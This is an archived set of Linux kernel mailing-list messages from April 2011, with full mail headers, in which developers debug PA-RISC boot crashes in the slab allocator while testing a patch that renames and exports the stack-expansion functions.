	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3JFwT61011636;
	Tue, 19 Apr 2011 16:58:29 +0100
In-Reply-To: <1303225375.3171.13.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3567 gmane.linux.ide:49339
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3567>

> > 	struct pci_dev *bridge = dev->bus->self;
> > 	if (bridge && bridge->vendor == 0x14f2)
> 
> Which vendor is 0x14f2?  It probably should have a PCI_VENDOR_ID_...
> define.

Jeff whines about those, Its Mobility Electronics.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
Date: Tue, 19 Apr 2011 12:06:06 -0400 (EDT)
Lines: 60
Approved: news@gmane.org
Message-ID: <20110419160606.932084E6A@hiauly1.hia.nrc.ca>
References: <1303228009.3171.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303229175 29799 80.91.229.12 (19 Apr 2011 16:06:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 16:06:15 +0000 (UTC)
Cc: mhocko@suse.cz, akpm@linux-foundation.org, hughd@google.com,
	linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 18:06:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCDRJ-0002pb-NJ
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 18:06:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753224Ab1DSQGJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 12:06:09 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3903 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752996Ab1DSQGI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 12:06:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 932084E6A; Tue, 19 Apr 2011 12:06:06 -0400 (EDT)
In-Reply-To: <1303228009.3171.18.camel@mulgrave.site> from "James Bottomley" at Apr 19, 2011 10:46:49 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3568 gmane.linux.kernel.mm:61584 gmane.linux.kernel:1128485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3568>

> It compiles OK, but crashes on boot in fsck.  The crash is definitely mm
> but looks to be a slab problem (it's a null deref on a spinlock in
> add_partial(), which seems unrelated to this patch).

I had a somewhat similar crash Sunday with the "debian" config building GCC.
This is with 2.6.39-rc3+  without the mm patch:

mx3210 login: [12244.664000] Backtrace:
[12244.664000]  [<000000004020c9a0>] __slab_free+0x100/0x200
[12244.664000]  [<000000004020d23c>] kmem_cache_free+0xf4/0x108
[12244.668000]  [<000000001c7e9efc>] __journal_remove_journal_head+0x214/0x248 [
jbd]
[12244.668000]  [<000000001c7edd48>] journal_put_journal_head+0xc8/0x168 [jbd]
[12244.668000]  [<000000001c7e158c>] journal_invalidatepage+0x45c/0x710 [jbd]
[12244.672000]  [<000000001c8652d8>] ext3_invalidatepage+0x88/0xe8 [ext3]
[12244.672000]  [<00000000401d76f4>] do_invalidatepage+0x34/0x40
[12244.672000]  [<00000000401d7770>] truncate_inode_page+0x70/0x178
[12244.676000]  [<00000000401d798c>] truncate_inode_pages_range+0x114/0x518
[12244.676000]  [<00000000401d7da4>] truncate_inode_pages+0x14/0x20
[12244.680000]  [<000000001c86ac1c>] ext3_evict_inode+0x64/0x2a8 [ext3]
[12244.680000]  [<0000000040234424>] evict+0xac/0x1c8

[12244.692000] PSW: 00001000000001101111001100001110 Not tainted
[12244.692000] r00-03  000000ff0806f30e 0000000040745e50 000000004020c9a0 000000
01453d6000
[12244.692000] r04-07  0000000040722e50 0000000000000000 00000002bf400000 000000
001c7dc000
[12244.696000] r08-11  0000000000000002 0000000040630298 0000000000000001 000000
007bba4940
[12244.696000] r12-15  00000002bf400000 0000000000000001 0000000000000000 000000
0000000001
[12244.700000] r16-19  000000007e71d888 000000007e71d888 0000000000001000 200000
0000000081
[12244.700000] r20-23  0000000000000000 0000000040630290 0000000000000001 000000
001c7e9efc
[12244.704000] r24-27  000000000800000e 00000001453d6000 0000000000000000 000000
0040722e50
[12244.704000] r28-31  0000000000000001 000000007bba4b70 000000007bba4ba0 000000
0000000023
[12244.708000] sr00-03  000000000556c000 000000000556c000 0000000000000000 000000000556c000
[12244.708000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

[12244.712000]
[12244.712000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011b240 000000004011b244
[12244.712000]  IIR: 0f4015dc    ISR: 0000000000000000  IOR: 0000000000000000
[12244.716000]  CPU:        3   CR30: 000000007bba4000 CR31: ffffffffffffffff
[12244.716000]  ORIG_R28: 0000000000000001
[12244.720000]  IAOQ[0]: _raw_spin_lock+0x10/0x20
[12244.720000]  IAOQ[1]: _raw_spin_lock+0x14/0x20
[12244.720000]  RP(r2): __slab_free+0x100/0x200

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 11:07:33 -0500
Lines: 128
Approved: news@gmane.org
Message-ID: <1303229253.3171.19.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303229264 30447 80.91.229.12 (19 Apr 2011 16:07:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 16:07:44 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org
To: Michal Hocko <mhocko@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 18:07:40 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCDSk-0004Tk-SR
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 18:07:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753235Ab1DSQHh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 12:07:37 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36753 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751862Ab1DSQHg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 12:07:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0B66B8EE0F5;
	Tue, 19 Apr 2011 09:07:36 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ghPDDQSsSAsU; Tue, 19 Apr 2011 09:07:35 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 3A7CC8EE01D;
	Tue, 19 Apr 2011 09:07:35 -0700 (PDT)
In-Reply-To: <1303228009.3171.18.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3569 gmane.linux.kernel.mm:61585 gmane.linux.kernel:1128487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3569>

On Tue, 2011-04-19 at 10:46 -0500, James Bottomley wrote:
> On Tue, 2011-04-19 at 13:10 +0200, Michal Hocko wrote:
> > On Mon 18-04-11 13:56:37, Andrew Morton wrote:
> > > On Mon, 18 Apr 2011 12:01:31 +0200
> > > Michal Hocko <mhocko@suse.cz> wrote:
> > > 
> > > > Currently we have expand_upwards exported while expand_downwards is
> > > > accessible only via expand_stack or expand_stack_downwards.
> > > > 
> > > > check_stack_guard_page is a nice example of the asymmetry. It uses
> > > > expand_stack for VM_GROWSDOWN while expand_upwards is called for
> > > > VM_GROWSUP case.
> > > > 
> > > > Let's clean this up by exporting both functions and make those name
> > > > consistent. Let's use expand_stack_{upwards,downwards} so that we are
> > > > explicit about stack manipulation in the name. expand_stack_downwards
> > > > has to be defined for both CONFIG_STACK_GROWS{UP,DOWN} because
> > > > get_arg_page calls the downwards version in the early process
> > > > initialization phase for growsup configuration.
> > > 
> > > Has this patch been tested on any stack-grows-upwards architecture?
> > 
> > The only one I can find in the tree is parisc and I do not have access
> > to any such machine. Maybe someone on the list (CCed) can help with
> > testing the patch bellow? Nevertheless, the patch doesn't change growsup
> > case. It just renames functions and exports growsdown.
> 
> It compiles OK, but crashes on boot in fsck.  The crash is definitely mm
> but looks to be a slab problem (it's a null deref on a spinlock in
> add_partial(), which seems unrelated to this patch).
> 
> [   15.628000] sd 1:0:2:0: [sdc] Attached SCSI disk
> done.
> [   16.632000] EXT3-fs: barriers not enabled
> [   16.640000] kjournald starting.  Commit interval 5 seconds
> [   16.640000] EXT3-fs (sda3): mounted filesystem with ordered data mode
> Begin: Running /scripts/local-bottom ... done.
> done.
> Begin: Running /scripts/init-bottom ... done.
> INIT: version 2.88 booting
> Setting hostname to 'ion'...done.
> Starting the hotplug events dispatcher: udevd[   22.008000] udev[211]: starting version 164
> .
> Synthesizing the initial hotplug events...done.
> Waiting for /dev to be fully populated...done.
> Activating swap:swapon on /dev/sda2
> swapon: /dev/sda2: found swap signature: version 1, page-size 4, same byte order
> swapon: /dev/sda2: pagesize=4096, swapsize=1028157440, devsize=1028160000
> [   28.780000] Adding 1004056k swap on /dev/sda2.  Priority:-1 extents:1 across:1004056k 
> .
> Will now check root file system:fsck from util-linux-ng 2.17.2
> [/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -C0 /dev/sda3 
> /dev/sda3 has been mounted 37 times without being checked, check forced.
> [  257.192000] Backtrace:===========                                \ 42.8%   
> [  257.192000]  [<0000000040214f78>] add_partial+0x28/0x98
> [  257.192000]  [<0000000040217ff8>] __slab_free+0x1d0/0x1d8
> [  257.192000]  [<000000004021825c>] kmem_cache_free+0xc4/0x128
> [  257.192000]  [<00000000401fd1a4>] remove_vma+0x8c/0xc0
> [  257.192000]  [<00000000401fd3a8>] exit_mmap+0x1d0/0x220
> [  257.192000]  [<0000000040156514>] mmput+0xd4/0x200
> [  257.192000]  [<000000004015c7b8>] exit_mm+0x100/0x2c0
> [  257.192000]  [<000000004015ef40>] do_exit+0x778/0x9d8
> [  257.192000]  [<000000004015f1ec>] do_group_exit+0x4c/0xe0
> [  257.192000]  [<000000004015f298>] sys_exit_group+0x18/0x28
> [  257.192000]  [<0000000040106034>] syscall_exit+0x0/0x14
> [  257.192000] 
> [  257.192000] 
> [  257.192000] Kernel Fault: Code=26 regs=00000040bf1807d0 (Addr=0000000000000000)
> [  257.192000] 
> [  257.192000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [  257.192000] PSW: 00001000000001001111000000001110 Not tainted
> [  257.192000] r00-03  000000ff0804f00e 0000000040769e40 0000000040214f78 0000000000000000
> [  257.192000] r04-07  0000000040746e40 0000000000000001 0000004080ded370 0000000000000001
> [  257.192000] r08-11  0000000040654150 0000000000000000 0000000000000001 0000000000000001
> [  257.192000] r12-15  0000000000000000 00000000ffffffff 0000000000000024 0000000000000000
> [  257.192000] r16-19  00000000fb4ead9c 00000000fb4eac54 0000000000000000 0000000000000000
> [  257.192000] r20-23  000000000800000e 0000000000000001 000000007bbb7180 00000000401fd1a4
> [  257.192000] r24-27  0000000000000001 0000004080ded370 0000000000000000 0000000040746e40
> [  257.192000] r28-31  000000007ec0a908 00000040bf1807a0 00000040bf1807d0 0000000000000016
> [  257.192000] sr00-03  00000000002d9000 0000000000000000 0000000000000000 00000000002d9000
> [  257.192000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [  257.192000] 
> [  257.192000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011bbc0 000000004011bbc4
> [  257.192000]  IIR: 0f4015dc    ISR: 0000000000000000  IOR: 0000000000000000
> [  257.192000]  CPU:        0   CR30: 00000040bf180000 CR31: fffffff0f0e098e0
> [  257.192000]  ORIG_R28: 0000000040769e40
> [  257.192000]  IAOQ[0]: _raw_spin_lock+0x0/0x20
> [  257.192000]  IAOQ[1]: _raw_spin_lock+0x4/0x20
> [  257.192000]  RP(r2): add_partial+0x28/0x98
> [  257.192000] Backtrace:
> [  257.192000]  [<0000000040214f78>] add_partial+0x28/0x98
> [  257.192000]  [<0000000040217ff8>] __slab_free+0x1d0/0x1d8
> [  257.192000]  [<000000004021825c>] kmem_cache_free+0xc4/0x128
> [  257.192000]  [<00000000401fd1a4>] remove_vma+0x8c/0xc0
> [  257.192000]  [<00000000401fd3a8>] exit_mmap+0x1d0/0x220
> [  257.192000]  [<0000000040156514>] mmput+0xd4/0x200
> [  257.192000]  [<000000004015c7b8>] exit_mm+0x100/0x2c0
> [  257.192000]  [<000000004015ef40>] do_exit+0x778/0x9d8
> [  257.192000]  [<000000004015f1ec>] do_group_exit+0x4c/0xe0
> [  257.192000]  [<000000004015f298>] sys_exit_group+0x18/0x28
> [  257.192000]  [<0000000040106034>] syscall_exit+0x0/0x14
> [  257.192000] 
> [  257.192000] Kernel panic - not syncing: Kernel Fault
> [  257.192000] Backtrace:
> [  257.192000]  [<000000004011f984>] show_stack+0x14/0x20
> [  257.192000]  [<000000004011f9a8>] dump_stack+0x18/0x28
> [  257.192000]  [<000000004015946c>] panic+0xd4/0x368
> [  257.192000]  [<0000000040120024>] parisc_terminate+0x14c/0x170
> [  257.192000]  [<000000004012059c>] handle_interruption+0x2ac/0x8f8
> [  257.192000]  [<000000004011bbc0>] _raw_spin_lock+0x0/0x20
> [  257.192000] 
> [  257.192000] Rebooting in 5 seconds..
> 
> It seems to be a random intermittent mm crash because the next reboot
> crashed with the same trace but after the fsck had completed and the
> third came up to the login prompt.

I should add that this crash is with CONFIG_SLUB ... do you want me to
retry with CONFIG_SLAB?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
Date: Tue, 19 Apr 2011 11:59:09 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <1303232349.3171.21.camel@mulgrave.site>
References: <20110419160606.932084E6A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303232362 17770 80.91.229.12 (19 Apr 2011 16:59:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 16:59:22 +0000 (UTC)
Cc: mhocko@suse.cz, akpm@linux-foundation.org, hughd@google.com,
	linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 18:59:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCEGh-0003n9-Kx
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 18:59:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752280Ab1DSQ7M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 12:59:12 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:57946 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751626Ab1DSQ7L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 12:59:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 85D498EE0F5;
	Tue, 19 Apr 2011 09:59:11 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xUFxXnYnmcMj; Tue, 19 Apr 2011 09:59:11 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C34EE8EE01D;
	Tue, 19 Apr 2011 09:59:10 -0700 (PDT)
In-Reply-To: <20110419160606.932084E6A@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3570 gmane.linux.kernel.mm:61588 gmane.linux.kernel:1128509
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3570>

On Tue, 2011-04-19 at 12:06 -0400, John David Anglin wrote:
> > It compiles OK, but crashes on boot in fsck.  The crash is definitely mm
> > but looks to be a slab problem (it's a null deref on a spinlock in
> > add_partial(), which seems unrelated to this patch).
> 
> I had a somewhat similar crash Sunday with the "debian" config building GCC.
> This is with 2.6.39-rc3+  without the mm patch:
> 
> mx3210 login: [12244.664000] Backtrace:
> [12244.664000]  [<000000004020c9a0>] __slab_free+0x100/0x200
> [12244.664000]  [<000000004020d23c>] kmem_cache_free+0xf4/0x108
> [12244.668000]  [<000000001c7e9efc>] __journal_remove_journal_head+0x214/0x248 [
> jbd]
> [12244.668000]  [<000000001c7edd48>] journal_put_journal_head+0xc8/0x168 [jbd]
> [12244.668000]  [<000000001c7e158c>] journal_invalidatepage+0x45c/0x710 [jbd]
> [12244.672000]  [<000000001c8652d8>] ext3_invalidatepage+0x88/0xe8 [ext3]
> [12244.672000]  [<00000000401d76f4>] do_invalidatepage+0x34/0x40
> [12244.672000]  [<00000000401d7770>] truncate_inode_page+0x70/0x178
> [12244.676000]  [<00000000401d798c>] truncate_inode_pages_range+0x114/0x518
> [12244.676000]  [<00000000401d7da4>] truncate_inode_pages+0x14/0x20
> [12244.680000]  [<000000001c86ac1c>] ext3_evict_inode+0x64/0x2a8 [ext3]
> [12244.680000]  [<0000000040234424>] evict+0xac/0x1c8
> 
> [12244.692000] PSW: 00001000000001101111001100001110 Not tainted
> [12244.692000] r00-03  000000ff0806f30e 0000000040745e50 000000004020c9a0 000000
> 01453d6000
> [12244.692000] r04-07  0000000040722e50 0000000000000000 00000002bf400000 000000
> 001c7dc000
> [12244.696000] r08-11  0000000000000002 0000000040630298 0000000000000001 000000
> 007bba4940
> [12244.696000] r12-15  00000002bf400000 0000000000000001 0000000000000000 000000
> 0000000001
> [12244.700000] r16-19  000000007e71d888 000000007e71d888 0000000000001000 200000
> 0000000081
> [12244.700000] r20-23  0000000000000000 0000000040630290 0000000000000001 000000
> 001c7e9efc
> [12244.704000] r24-27  000000000800000e 00000001453d6000 0000000000000000 000000
> 0040722e50
> [12244.704000] r28-31  0000000000000001 000000007bba4b70 000000007bba4ba0 000000
> 0000000023
> [12244.708000] sr00-03  000000000556c000 000000000556c000 0000000000000000 000000000556c000
> [12244.708000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> [12244.712000]
> [12244.712000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004011b240 000000004011b244
> [12244.712000]  IIR: 0f4015dc    ISR: 0000000000000000  IOR: 0000000000000000
> [12244.716000]  CPU:        3   CR30: 000000007bba4000 CR31: ffffffffffffffff
> [12244.716000]  ORIG_R28: 0000000000000001
> [12244.720000]  IAOQ[0]: _raw_spin_lock+0x10/0x20
> [12244.720000]  IAOQ[1]: _raw_spin_lock+0x14/0x20
> [12244.720000]  RP(r2): __slab_free+0x100/0x200

Yes, it's the same crash.  Apparently get_node() is returning NULL for
some reason.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Tue, 19 Apr 2011 20:05:27 +0300
Lines: 122
Approved: news@gmane.org
Message-ID: <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	<alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	<20110418100131.GD8925@tiehlicka.suse.cz>
	<20110418135637.5baac204.akpm@linux-foundation.org>
	<20110419111004.GE21689@tiehlicka.suse.cz>
	<1303228009.3171.18.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303232736 19956 80.91.229.12 (19 Apr 2011 17:05:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 17:05:36 +0000 (UTC)
Cc: Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Christoph Lameter <cl@linux.com>,
	David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 19:05:31 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCEMk-0007iV-FI
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 19:05:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752529Ab1DSRF3 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 13:05:29 -0400
Original-Received: from mail-vx0-f174.google.com ([209.85.220.174]:63944 "EHLO
	mail-vx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751994Ab1DSRF2 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 13:05:28 -0400
Original-Received: by vxi39 with SMTP id 39so4406601vxi.19
        for <multiple recipients>; Tue, 19 Apr 2011 10:05:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=6iuqu0l91Y+tOnD8qQzyRtPuXX67amKrn65KdZpavZA=;
        b=TdJe06wy4ps7Vmvcz/M5HIXYPVou/cxn7186l+rqd/XeUeFxn2PhQWNTyuyB+WvLZH
         /w4OoaGWLvQ1rgDNHpV3MtXJgNJLa3K9B1WHfaNBfxmWT+PrT8XaJw5KOffcA/rEpm0w
         5ePa8N5GaQUtb343hIhFIAQSmkFT+HCUcUo2g=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=DOj43a6EFvgJ3Uyt3VH+0ve0jnEd5zodeKnpGURTUfTNcseCWCzaOQ6MpG9Pn4wAnJ
         jHI4NUnDQOxPMhsNTegofGJT9REFvjDNBLqVYlVBTPSShpEFHaJuRHu12uoHVjZ2DGdZ
         jtqb8h2yI1YNaD0vWA9plGSBkqPwDlOJNlYQY=
Original-Received: by 10.52.176.134 with SMTP id ci6mr66959vdc.190.1303232727735; Tue,
 19 Apr 2011 10:05:27 -0700 (PDT)
Original-Received: by 10.52.168.102 with HTTP; Tue, 19 Apr 2011 10:05:27 -0700 (PDT)
In-Reply-To: <1303228009.3171.18.camel@mulgrave.site>
X-Google-Sender-Auth: GA6HwfTy1VhcELrssSPHa6oMhCg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
